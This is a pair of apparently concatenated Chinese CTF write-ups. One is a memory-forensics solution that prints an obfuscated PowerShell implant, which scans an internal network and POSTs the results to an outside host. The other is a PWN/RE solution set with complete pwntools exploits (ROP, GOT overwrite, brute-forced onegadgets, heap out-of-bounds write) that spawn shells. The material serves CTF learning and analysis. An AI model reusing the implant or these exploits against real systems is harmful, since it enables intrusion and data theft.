译文仅供参考，具体内容表达以及含义原文为准。
## blueteaming
### 解法一
把注册表dump下来
python2 vol.py -f memory.dmp --profile=Win7SP1x64 dumpregistry -D ctf/
dump下来后拖到windows，用registerExplorer来找。发现拖进来后只有15个注册表，少的是SOFTWARE这个表里的，而且无法拖进registerexplorer。
python2 vol.py -f memory.dmp --profile=Win7SP1x64 dumpregistry -D ctf/
后来在网上找到申请修改注册表的命令
reg query
打开010Editor并寻找相应的字符串即可
往前翻一下也可以知道这是WindowsPolicyUpdate.cmd文件。导出文件后可以看到内容(在cmd进程内存中可以找到)。
@echo off;
for /f "tokens=*" %%a in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication" /v code ^| find /i "REG_SZ"') do (
set var="%%~a";
powershell -noprofile "%var:~19,1500%;
)
for /f "tokens=*" %%a in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication" /v code ^| find /i "REG_SZ"') do (
set var="%%~a";
powershell -noprofile "%var:~19,1500%;
)
可能也是因为恶意修改注册表的原因，解释了为什么其他15个注册表都可以打开，而这个注册表无法打开。
### 解法二
把cmd进程dump下来
python2 vol.py -f memory.dmp --profile=Win7SP1x64 memdump -p 7092 -D ctf/
通过strings命令
strings 7092.dmp | grep powershell
strings 7092.dmp | grep HKEY
即可找到对应的恶意代码
python2 vol.py -f memory.dmp --profile=Win7SP1x64 printkey -K "Microsoft\Windows\Communication"
flag:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication
#### tips
根据恶意代码可以得到执行命令的语句为：
powershell -noprofile $veRBOsepReFErEncE.tOstrINg()[1,3]+'x'-JOin'')( nEW-ObjEcT sySTEm.iO.sTreaMReAdER( ( nEW-ObjEcT SystEm.iO.CompreSsiOn.DEfLATEstREam([IO.meMoryStream] [CoNVeRT]::fROMbASe64StRinG('NVJdb5tAEHyv1P9wQpYAuZDaTpvEVqRi+5Sgmo/Axa0VRdoLXBMUmyMGu7Es//fuQvoAN7e7Nzua3RqUcJbgQVLIJ1hzNi/eGLMYe2gOFX+0zHpl9s0Uv4YHbnu8CzwI8nIW5UX4bNqM2RPGUtU4sPQSH+mmsFbIY87kFit3A6ohVnGIFbLOdLlXCdFhAlOT3rGAEJYQvfIsgmAjw/mJXTPLssxsg3U59VTvyrT7JjvDS8bwN8NvbPYt81amMeItpi1TI3omaErK0fO5bNr7LQVkWjYkqlZtkVtRUK8xxAQxxqylGVwM3dFX6jtw6TgbnrPRCMFlm75i3xAPhq2aqUnNKFyWqhNiu0bC4wV6kXHDsh6yF5k8Xgz7Hbi6+ACXI/vLQyoSv7x5/EgNbXvy+VPvOAtyvWuggvuGvOhZaNFS/wTlqN9xwqGuwQddst7Rh3AfvQKHLAoCsq4jmMJBgKrpMbm/By8pcDQLzlju3zFn6S12zB6PjXsIfcj0XBmu8Qyqma4ETw2rd8w2MI92IGKU0HGqEGYacp7/Z2U+CB7gqJdy67c2dHYsOA0H598N33b3cr3j2EzoKXgpiv1+XjfbIryhRk+wakhq16TSqYhpKcHbpNTox9GYgyekcY0KcFGyKFf56YTF7drg1ji/+BMk/G7H04Y599sCFW3+NG71l0aXZRntjFu94FGhHidQzYvOsSiOaLsFxaY6P6CbFWioRSUTGdSnyT8=' ) , [IO.coMPressION.cOMPresSiOnmOde]::dEcOMPresS)), [TexT.ENcODInG]::AsCIi)).ReaDToeNd()
因为加密方式有限，可以猜测出为base64+deflate加密，我们通过cyberchef解密。
（加密方式根据以下链接得出。
<https://zhuanlan.zhihu.com/p/137407536>
[https://netsec.expert/posts/write-a-crypter-in-any-language/）](https://netsec.expert/posts/write-a-crypter-in-any-language/%EF%BC%89)
这其实是一个powershell的免杀马。
得到如下
s`eT-V`A`Riab`lE Diq ( [typE]('sY'+'S'+'tEM.'+'tExT'+'.'+'EnCOdiNg') );Set-`VARI`A`B`le ('Car'+'u1') ( [TyPe]('ConveR'+'t') ) ;${i`N`V`OkEcO`MmaND} = ((('cm'+'d'+'.exe')+' /'+'c '+'C'+':'+('HaSP'+'r')+('o'+'gr')+'a'+('m'+'Dat')+'aH'+('aSnt'+'user')+'.p'+('ol'+' TC'+'P ')+('172.30'+'.1.0'+'/24 33'+'8')+('9 5'+'12 /'+'B'+'a')+('nne'+'r'))."REPL`A`cE"(([chaR]72+[chaR]97+[chaR]83),[STRInG][chaR]92));${CMdout`p`Ut} = $(i`NVoK`e-eXPRE`ss`I`on ${I`NvOk`E`cOMMaND});${B`yT`es} = ( v`ARiA`BLE dIQ -VALu )::"U`NI`coDe"."g`etBYTES"(${cm`DOu`TPUt});${eN`Co`dEd} = ( I`TEM ('VarI'+'a'+'B'+'LE'+':Caru1') ).valuE::"ToB`AS`E`64striNG"(${b`Yt`es});${poSTP`A`R`AmS} = @{"D`ATa"=${e`N`cOded}};i`N`VOkE-WEb`REQuESt -Uri ('mft.pw'+'/ccc'+'c.ph'+'p') -Method ('POS'+'T') -Body ${p`o`sTpaRaMs};
很明显是混淆过后的代码,反混淆后得到：
${invokecommand}=cmd.exe /c c:\\programdata\\ntuser.pol tcp 172.30.1.0/24 3389 512 /bannersetvarible diq([type](system.text.encoding));setvariable(caru1)([type](convert));${cmdoutput} = $(invoke-expression ${invokecommand});${bytes}=(variable diq-valu)::unicode.getbytes(${cmdoutput})${encoded} = ( item ('variable:caru1') ).value::tobase64string"(${bytes});${postparams} = @{"data"=${encoded}};invoke-webrequest -uri ('*****/cccc.php') -method ('post') -body ${postparams};
可以得到该操作系统为windows Server 2008。
##### invokecommand
首先对该命令下手
cmd.exe /c c:\\programdata\\ntuser.pol tcp 172.30.1.0/24 3389 512 /banner
意味着端口的扫描，攻击者对172.30.1.0的网络进行端口的扫描，
而port 512，port 3389开启的时候，然后攻击者就会使用它们对内部网络进行攻击并扩散攻击范围。
而这条命令是根据这个项目<https://github.com/kingron/s>
查wiki就可以找到相应的端口服务。<https://zh.wikipedia.org/wiki/TCP/UDP%E7%AB%AF%E5%8F%A3%E5%88%97%E8%A1%A8>
进行内网用户3389端口的扫描，用于远程桌面，十分危险。
##### invoke-webrequest
invoke-webrequest则是powershell中的curl模块，访问mft.pw/cccc.php并把执行命令的结果通过post传过去。
那么接下来我们开始对url下手。
访问 ***** /ccc.php发现是404.我不信，然后使用post进行抓包传参。得到如下
~~果然是有东西的。直接访问是失败的。~~
又出现了一个cloudflare的url，出现在header：report-to中。
https://a.nel.cloudflare.com/report/v2?s=YHULLPtKkHTg%2Fvi6UzwAnOERGXNqZpAVlj468dn9VZFdHvcZzsBJZzAopoVpaxqef7T52bj7H38YNbatDvWJFi3Fa6YanTlVB50w6UYfgyIwRYLi
好吧，真的什么都没有了。这些是正常的headers。
我们回到iexploer.exe进程,通过对关键词`mft.pw`的搜索，我很容易找到了对应的http请求。说明这里给的镜像不是简单的进行了注册表的修改，而是确实执行了该免杀马的。
再看一下这个代码的执行流程，我们可以通过pstree清晰的看到。explorer.exe执行后，连锁执行了iexplorer.exe以及cmd.exe。
而最后的winpmem_v3.3.r不用管它，是用来dump内存的。
在cmd的16进制中可以看到WindowsPolicyUpdate.cmd文件中有命令执行的代码。
当我问及如何持久化运行这个免杀马时，出题人给了我一些思路。
Find the created time when ntuser.pol was created in the MFT block of the memory dump.Most of the dropper-type malware doesn't create just one file.
我们通过volatility来提取mft(Managed file transfer)，以求寻找同时生成的异样文件。
python2 vol.py -f memory.dmp --profile=Win7SP1x64 mftparser > output.txt
2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000 ProgramData\WindowsPolicyUpdate.cmd
ntuser.pol
2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000 ProgramData\ntuser.pol
然后对于其他的文件及其路径并没有察觉到有什么不对，下面的两个CMD文件应该是同一个文件。
strings output.txt | grep "2020-11-26 12:55:37"
我把mft输出和内存文件一起保存，希望有感兴趣的师傅能指点一下。
链接：<https://pan.baidu.com/s/1T9QH-HYOQSFokCEZXVlm_g>
提取码：anq6
当我通过邮件请教师傅时，一句非常普通的话，让我感受到了在今年国赛里awd中一样真实的攻防。感谢大师傅。
real attackers often delete the means of an end after they have accomplished it. To express this, i actually deleted the page. so 404 is correct.
<https://zhuanlan.zhihu.com/p/137407536>
<https://blog.csdn.net/qq_42880719/article/details/117968361>
<https://mp.weixin.qq.com/s/ItaIgLxcXCjvAhyyP3On9Q>
<https://netsec.expert/posts/write-a-crypter-in-any-language/> | 社区文章 |
# 2021暗泉杯（东软杯）PWN/RE WP
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这是第一届2021暗泉杯（东软杯）的pwn和re题解，这次比赛pwn看似不难，但是还是缺少思路，其中两道题目都是相似的逻辑，应该是一个出题人出的题目，当时没想到爆破，呜呜呜呜
## PWN -> NSS_shop
这个是签到题目，据官方说是个整数溢出，随便输点大数造成整数溢出就可以拿到flag
--------------- 0.Flag: 10000$
1.Hint: 0$
--------------- > 0
Number of items >
123123123
flag{Pwn_Is_Vary_Ez}
## PWN -> justdoit （调整rbp）
### 题目分析
题目没开pie，没开canary，查看环境2.23，打开ida查看伪代码，很简单，但是没有溢出：
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
init();
printf("Hi there! What is your name? ");
read(0, buf, 24uLL);
puts("That is an interesting chall");
printf("where are you from? my frends??");
read_long();
return 0;
}
__int64 read_long()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
read(0, buf, 19uLL);
return atol(buf);
}
程序很简单，有两次输入，都没溢出，仔细看看汇编代码发现可以随意修改rbp的位置：
.text:0000000000401239 call read_long
.text:000000000040123E add rbp, rax <-----rbp = rbp + rax>
.text:0000000000401241 mov eax, 0
.text:0000000000401246 leave
.text:0000000000401247 retn
所以这里就可以通过调整rbp控制程序的返回地址，但重要的是怎么利用？当时想着rop，但是这长度远远不够最小的rop长度（当时想的是至少4段，但是只有三段rop空间，少一个ret的空间，后来弄明白可以利用rbp调整来让程序返回到main，三段刚刚好够用），比赛也没做出来，后面才知道爆破是个可行方法.泄露libc也是一个方法。
### 利用思路
**利用方式1：爆破onegadget**
第一次输入可以输入3个地址长度，这里分别为read_long、第一个read地址、start地址，然后通过第二次read_long可以修改rbp到第一次输入buf的上方，程序下次返回就能返回到构造的地址read_long处，然后输入[[email protected]](mailto:[email protected])的地址，atol后会设置rax为[[email protected]](mailto:[email protected])，read_long返回会返回到第一个read地址处，接着read，但是注意此时的buf已被修改为[[email protected]](mailto:[email protected])，因为read的第二个参数在rsi中，而在之前read_long函数执行完后rax被设置成[[email protected]](mailto:[email protected])，当跳转到read的时候buf是由rax赋值的，所以在执行的时候就会往[[email protected]](mailto:[email protected])处写，这就可以覆盖[[email protected]](mailto:[email protected])的后3个字节为ongadget去拿shell。
.text:00000000004011FF mov edx, 18h ; nbytes
.text:0000000000401204 mov rsi, rax ; buf
.text:0000000000401207 mov edi, 0 ; fd
.text:000000000040120C call _read
.text:0000000000401211 lea rax, s ; "That is an interesting chall"
这里经过调试发现当后面调用printf触发onegadget的时候rax=0，所以第一个onegadget可以用，这里我们只能确切修改地址末12bit位，经过比较onegadget和[[email protected]](mailto:[email protected])相差3个字节24位，所以剩下的12位就只能爆破了。
利用步骤：
1. 输入返回地址read_long、第一个read地址
2. read_long调整rbp返回到read_long,接着输入[[email protected]](mailto:[email protected])，rax=[[email protected]](mailto:[email protected])
3. 返回到第一个read地址，此时read的buf = [[email protected]](mailto:[email protected])，修改末12位为onegadget偏移，剩余12为爆破
4. 后面printf触发onegadget。
爆破长度12位，16 _16_ 8=2048次，实际上爆破长度是16^3
**利用方式二：泄露libc，rop**
和上面方式一样，首先将输入三个main地址入栈（用于rop结束后返回到main），之后调整rbp返回到main函数，此时会在原栈帧上方（低地址）重新开辟栈空间，输入rop调用put函数将put地址泄露出来拿到libc，之后会再次返回到main，接着rop调用system(‘/bin/sh’),获取shell。
步骤：
1. 第一个read输入三个main地址用于返回，read_long调整rbp返回到main
2. 接着rop返回到put，泄露put地址，拿到libc
3. 接着rop返回到system，获取shell。
这种方式明显优于爆破方式，利用调整rbp来返回到rop，进而泄露libc，获取shell。
### exp1 爆破onegadget
# -*- coding: utf-8 -*- from pwn import *
context.log_level = 'debug'
context.terminal = ["/usr/bin/tmux","sp","-h"]
#io = remote('127.0.0.1', 6010)
# libc = ELF('./libc-2.31.so')
# io = process(['./test', 'real'])
#io = process('./justdoit.1')
#libc=ELF('/glibc/2.23/64/lib/libc-2.23.so')
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
ur64 = lambda data : u64(data.rjust(8, b'\x00'))
main=0x4011D5
pop_rdi=0x00000000004012b3
pop_rbp=0x000000000040114d
lea_ret=0x00000000004011d3
payload=p64(0x4011A9)+p64(0x4011FF)
#payload=p64(read_lpng)+p64(read)
def pwn():
sn(payload)
ru('where are you from? my frends??')
sn(str(-0x28))
sn(str(0x000000000404020))
sn('\x26\x82\x3b')
sleep(0.1)
sl('ls')
sl('ls')
ru('flag')
sl('cat flag')
irt()
while True:
try:
#io=remote('47.106.172.144',65004)
io=process('./justdoit.1')
pwn()
except:
io.close()
continue
### exp2 泄露libc，rop
# -*- coding: utf-8 -*- from pwn import *
context.log_level = 'debug'
context.terminal = ["/usr/bin/tmux","sp","-h"]
io = remote('47.106.172.144', 65004)
# libc = ELF('./libc-2.31.so')
# io = process(['./test', 'real'])
# io = process('./justdoit.1')
libc=ELF('./libc.so.6')
elf=ELF('./justdoit.1')
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
ur64 = lambda data : u64(data.rjust(8, b'\x00'))
main=0x4011D5
pop_rdi=0x00000000004012b3
pop_rbp=0x000000000040114d
lea_ret=0x00000000004011d3
ru("name?")
sn(p64(main)+ p64(main) + p64(main))
ru("s??")
sl(b"-24")
ru("name?")
sn(p64(pop_rdi) + p64(elf.got["puts"]) + p64(elf.plt["puts"]))
ru("s??")
sl(b"-40")
libc.address = l64() - libc.sym["puts"]
print(hex(libc.address))
ru("name?")
sn(p64(pop_rdi) + p64(libc.search('/bin/sh').next()) + p64(libc.sym['system']))
ru("s??")
# dbg()
sl(b"-40")
irt()
### 总结
这个题目只涉及了栈，没有溢出，只有人为构造的漏洞可以调整rbp，这考察了选手思维活跃性，想出不同的利用方法，当时做的时候没有想到如何去修改[[email protected]](mailto:[email protected])，这里的方法很妙，巧妙的运用了调整rbp，将buf修改为[[email protected]](mailto:[email protected])实现写入，之后爆破就不需要泄露地址了，要时刻注意汇编的细节。利用方式2首选，可以直接拿到shell，当时不知如何泄露libc，想来是没有彻底明白栈帧的嵌套顺序，及调用函数返回时栈帧的变化，导致没有看出来可以输入三个main来进行连续返回。
## PWN -> reallNeedGoodLuck （栈任意地址写4字节）
### 题目分析
这个题目出题风格类似上一题，安全保护、环境一样，也是简单的栈利用，原理相同，ida查看伪代码：
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
_DWORD *v3; // [rsp+0h] [rbp-30h]
int buf; // [rsp+Ch] [rbp-24h] BYREF
char nptr[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
init(); <-----里面有setvbuf------>
puts("need");
puts("good");
read(0, &buf, 4uLL); <-------输入4字节--------->
puts("luck! ");
read(0, nptr, 9uLL); <-------输入9字节--------->
v3 = (_DWORD *)atoi(nptr);
*v3 = buf; <-------将buf写到ptr处----->
exit(0);
}
存在任意地址写4字节漏洞，和上一个题一样将[[email protected]](mailto:[email protected])后12位改为onegadget偏移，之后爆破12位，爆破长度仍然是16^3
### 利用方式
**利用方式1：爆破onegadget**
这个题和上个题目不同的是主函数没有return，有exit函数，那么怎么让他返回呢？这里还是通过漏洞将exit改成main函数地址，实现多次利用，然后再将setvbuf后三字节改成onegadget固定偏移，爆破3字节长度，获取shell。
步骤：
1. 修改exit为mian函数，使其可以返回
2. 修改setvbuf末12位为onegadget偏移
3. 爆破，调用setvbuf触发onegadget。
**利用方式2：爆破system**
题目提供了任意地址写4字节，利用方式和上面差不多，知识换用了爆破system，因为爆破system只用爆破1字节长度，也就是16^2,成功率很高。
步骤：
1. 修改exit为mian函数，使其可以返回
2. 修改atoi末12位为system偏移
3. 爆破，调用atoi，参数binsh来触发shell。
方式2比方式以成功率高了一个量级，基本手爆就出来了。
### exp1 blast onegadget
# -*- coding: utf-8 -*- from pwn import *
context.log_level = 'debug'
context.terminal = ["/usr/bin/tmux","sp","-h"]
#io = remote('127.0.0.1', 6010)
# libc = ELF('./libc-2.31.so')
# io = process(['./test', 'real'])
#io = process('./reallNeedGoodLuck.1')
#libc=ELF('/glibc/2.23/64/lib/libc-2.23.so')
elf=ELF('./reallNeedGoodLuck.1')
#p=process(['./1'],env={'LD_PRELOAD':'./libc-2.27_64.so'})
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
ur64 = lambda data : u64(data.rjust(8, b'\x00'))
exit_got=elf.got['exit']
read_got=elf.got['read']
setvbuf_got=elf.got['setvbuf']
def pwn():
#io=remote('47.106.172.144',65003)
ru('good')
sn(p32(0x4011A9)) # main addr
ru('luck! ')
sn(str(exit_got))
ru('good')
sleep(0.1)
sn('\x00\x7a\xe2\x3d') # onegadget
ru('luck! ')
sn(str(setvbuf_got-1))
sleep(0.1)
sl('ls')
sl('ls')
ru('flag')
sl('cat flag')
irt()
while True:
try:
#io=remote('47.106.172.144',65003)
io=process('./reallNeedGoodLuck.1')
#debug()
pwn()
except:
io.close()
continue
### exp2 blast system
# -*- coding: utf-8 -*- from pwn import *
context.log_level = 'debug'
context.terminal = ["/usr/bin/tmux","sp","-h"]
#io = remote('127.0.0.1', 6010)
# libc = ELF('./libc-2.31.so')
# io = process(['./test', 'real'])
#io = process('./reallNeedGoodLuck.1')
#libc=ELF('/glibc/2.23/64/lib/libc-2.23.so')
elf=ELF('./reallNeedGoodLuck.1')
#p=process(['./1'],env={'LD_PRELOAD':'./libc-2.27_64.so'})
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
ur64 = lambda data : u64(data.rjust(8, b'\x00'))
exit_got=elf.got['exit']
read_got=elf.got['read']
atoi_got=elf.got['atoi']
print hex(atoi_got)
def pwn():
#io=remote('47.106.172.144',65003)
ru('good')
sn(p32(0x4011A9)) # main addr
ru('luck! ')
sn(str(exit_got))
dbg()
ru('good')
sleep(0.1)
sn('\x00\x00\xa0\xf3') # system
ru('luck! ')
sn(str(atoi_got-2)) # atoi
ru('good')
sn(p32(0)) #
sl(b'/bin/sh\x00')
sl('ls')
sl('ls')
ru('flag')
sl('cat flag')
irt()
while True:
try:
# io=remote('47.106.172.144',65003)
io=process('./reallNeedGoodLuck.1')
#dbg()
pwn()
except:
io.close()
continue
### 总结
这道题和上道题利用方式其实差不多，只是这道题展现形式不一样，更直接的给出了任意地址写4字节，里用同样的方法进行爆破即可成功拿到shell。
## PWN -> iterator （数组无边界检查越界）
### 题目分析
题目没有开pie，环境仍然是2.23，运行程序:
---------- 1. New phone list
2. show list item
3. edit list item
4. overwrite list
5. show all list
6. exit
---------- >
ida分析，发现主要漏洞点在overwrite函数里，没有对数组边界进行检查：
int overwrite()
{
int v1; // [rsp+8h] [rbp-48h]
int start; // [rsp+Ch] [rbp-44h]
int end; // [rsp+10h] [rbp-40h]
int v4; // [rsp+14h] [rbp-3Ch]
__int64 v5; // [rsp+18h] [rbp-38h] BYREF
__int64 v6; // [rsp+20h] [rbp-30h] BYREF
__int64 v7; // [rsp+28h] [rbp-28h] BYREF
__int64 v8; // [rsp+30h] [rbp-20h] BYREF
_QWORD *list_ptr; // [rsp+38h] [rbp-18h]
printf("List id: ");
v1 = input();
if ( v1 < 0 || v1 > 10 )
return puts("id out of range");
list_ptr = (_QWORD *)qword_4050E0[v1];
if ( !list_ptr )
return puts("List undefined");
printf("Star id: "); <--------startid-------->
start = input();
printf("End id: ");
end = input(); <----------endid-------->
printf("New number: ");
v4 = input();
v8 = sub_401972(list_ptr);
v5 = sub_401998(&v8, start);
v7 = sub_401972(list_ptr);
v8 = sub_401998(&v7, end);
v6 = sub_401998(&v8, 1LL);
v8 = sub_4019D8(list_ptr);
if ( sub_401A01((__int64)&v6, (__int64)&v8) )
{
while ( sub_401A01((__int64)&v5, (__int64)&v6) )
{
*(_QWORD *)sub_401A3E((__int64)&v5) = v4;
sub_401A50(&v5);
}
}
return puts("Overwrite Done");
}
overwrite函数没有对数组边界检查，导致可以覆盖其他list的内容，导致可以往heap上写地址然后泄露libc。
题目功能如下：
1. new申请一个自定义大小的iterator结构，会生成两个chunk，第一个chunk是结构体，指向第二个chunk，存的是iterator的元素具体内容，list指针在bss段
2. edit编辑iterator的特定idx元素。
3. overwrite批量修改iterator结构的start到end的元素。在这里没有限制边界导致覆盖其他结构体指针。
4. show输出结构体某个元素
pwndbg> x/30gx 0x0000000001ac9c20
0x1ac9c10: 0x0000000000000000 0x0000000000000021 <-----iterator 0>
0x1ac9c20: 0x0000000001ac9c40 0x0000000001ac9c48
0x1ac9c30: 0x0000000001ac9c48 0x0000000000000021
0x1ac9c40: 0x0000000000000000 0x0000000000000000
0x1ac9c50: 0x0000000000000000 0x0000000000000021 <-----iterator 1>
0x1ac9c60: 0x0000000000405070<[email protected] 0x0000000001ac9ca0
0x1ac9c70: 0x0000000001ac9ca0 0x0000000000000031
0x1ac9c80: 0x0000000000000000 0x0000000000000000
0x1ac9c90: 0x0000000000000000 0x0000000000000000
0x1ac9ca0: 0x0000000000000000 0x0000000000020361
### 利用思路
可以利用第0个iterator覆盖第1个iterator结构体指向其内容的指针为[[email protected]](mailto:[email protected])，从而利用show泄露libc地址，然后对1个结构进行edit修改atoi为system，从而获取shell。
步骤：
1. 新建两个iterator
2. 对第0个iterator进行overwrite批量修改为atoi，由于没有检查边界，可以将第1个iterator的指针覆盖成[[email protected]](mailto:[email protected])
3. show第1个iterator，泄露atoi地址得到libc
4. edit第1个iterator，修改atoi为system
5. 触发atoi(‘/bin/sh’),获取shell。
### exp
from pwn import *
context.log_level = 'debug'
context.terminal = ["/usr/bin/tmux","sp","-h"]
io = process('./main')
# p = remote('47.106.172.144',65001)
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
ur64 = lambda data : u64(data.rjust(8, b'\x00'))
def New(count):
sla("> ",str(1))
sla(": ",str(count))
def Show(count,item):
sla("> ",str(2))
sla("id: ",str(count))
sla("id: ",str(item))
def Edit(count,item,num):
sla("> ",str(3))
sla("List id: ",str(count))
sla("Item id: ",str(item))
sla("number: ",str(num))
def Over_write(count,end,num,flags = 1):
sla("> ",str(4))
sla("id: ",str(count))
if flags:
sla("id: ",str(end))
sla("id: ",str(end))
sla("number: ",str(num))
def show_all():
sla("> ",str(5))
New(0x1)#0
New(0x4)#1
Over_write(0,4,0x405070) # atoi
# dbg()
Show(1,0)
libc = ELF("./libc.so.6")
ru("Number: ")
atoi = int(ru("\n",True),10)
print(hex(libc.symbols['system']))
system = atoi - libc.symbols["atoi"]+libc.symbols["system"]
Edit(1,0,system)
sla("> ",'sh\x00')
irt()
### 总结
在处理迭代器时，没有合理的判断迭代器范围，导致了指针越界。合理布局内存可以覆写 Vector 的结构体，执行任意内存读写，最终劫持 Got
表。比赛时没有深入看这道题，还要加强对Vector的结构体理解。总之发现此次比赛题目考点有相似的地方，且都不是很难，主要是自己对其利用方式还是不熟，不能发散的去结合程序思考利用方式，还是得多练习。
## Re ->singin
ida打开直接得到flag。
## Re -> HappyCTF
### 题目分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // eax
void *v4; // eax
int result; // eax
void *v6; // eax
void *v7; // eax
int v8; // [esp+5Ch] [ebp-70h]
char *v9; // [esp+60h] [ebp-6Ch]
char v10[27]; // [esp+6Ch] [ebp-60h] BYREF
char v11; // [esp+87h] [ebp-45h]
char *v12; // [esp+88h] [ebp-44h]
char *v13; // [esp+8Ch] [ebp-40h]
char *v14; // [esp+90h] [ebp-3Ch]
_DWORD v15[3]; // [esp+98h] [ebp-34h] BYREF
char v16[24]; // [esp+A4h] [ebp-28h] BYREF
int v17; // [esp+C8h] [ebp-4h]
sub_402930(v16);
v17 = 0;
v3 = (void *)output((int)&unk_4DDAF8, "please input flag");
sub_4039B0(v3, (int (__cdecl *)(void *))sub_402310);
sub_401500(&dword_4DDA80, v16);
if ( sub_405DE0(v16) == 24 )
{
sub_402A20(v15);
LOBYTE(v17) = 1;
sub_402570(v15);
v14 = v16;
v13 = (char *)sub_405270(v16);
v12 = (char *)sub_4052B0(v16);
while ( v13 != v12 )
{
v11 = *v13;
sub_403B70(v11); <--------point----->
++v13;
}
qmemcpy(v10, "rxusoCqxw{yqK`{KZqag{r`i", 24); <---------cmp---->
((void (__stdcall *)(char *))sub_402590)(v10);
v9 = (char *)sub_405290(v15);
v8 = sub_4052E0(v15);
while ( v9 != (char *)v8 )
{
if ( !(unsigned __int8)sub_403BB0(*v9) )
{
v6 = (void *)output((int)&unk_4DDAF8, "error");
sub_4039B0(v6, (int (__cdecl *)(void *))sub_402310);
LOBYTE(v17) = 0;
sub_4034E0(v15);
v17 = -1;
sub_403450(v16);
return 0;
}
++v9;
}
v7 = (void *)output((int)&unk_4DDAF8, "good job");
sub_4039B0(v7, (int (__cdecl *)(void *))sub_402310);
LOBYTE(v17) = 0;
sub_4034E0(v15);
v17 = -1;
sub_403450(v16);
result = 0;
}
else
{
v4 = (void *)output((int)&unk_4DDAF8, "not enought");
sub_4039B0(v4, (int (__cdecl *)(void *))sub_402310);
v17 = -1;
sub_403450(v16);
result = 0;
}
return result;
}
int __thiscall sub_403B70(void *this, char a2)
{
char v3[65]; // [esp+Fh] [ebp-45h] BYREF
void *v4; // [esp+50h] [ebp-4h]
v4 = this;
v3[0] = a2 ^ 0x14; <-------point-------->
sub_406170(v3);
return ++dword_4DD8F8;
}
经过分析你会发现就仅仅做了亦或操作。
### exp
s ='rxusoCqxw{yqK`{KZqag{r`i'
for i in range(len(s)):
print (chr(ord(s[i])^0x14),end = '')
# flag{Welcome_to_Neusoft}%
## Re -> Remember Crypt 4
### 题目分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int inputlen; // eax
void *v5; // rax
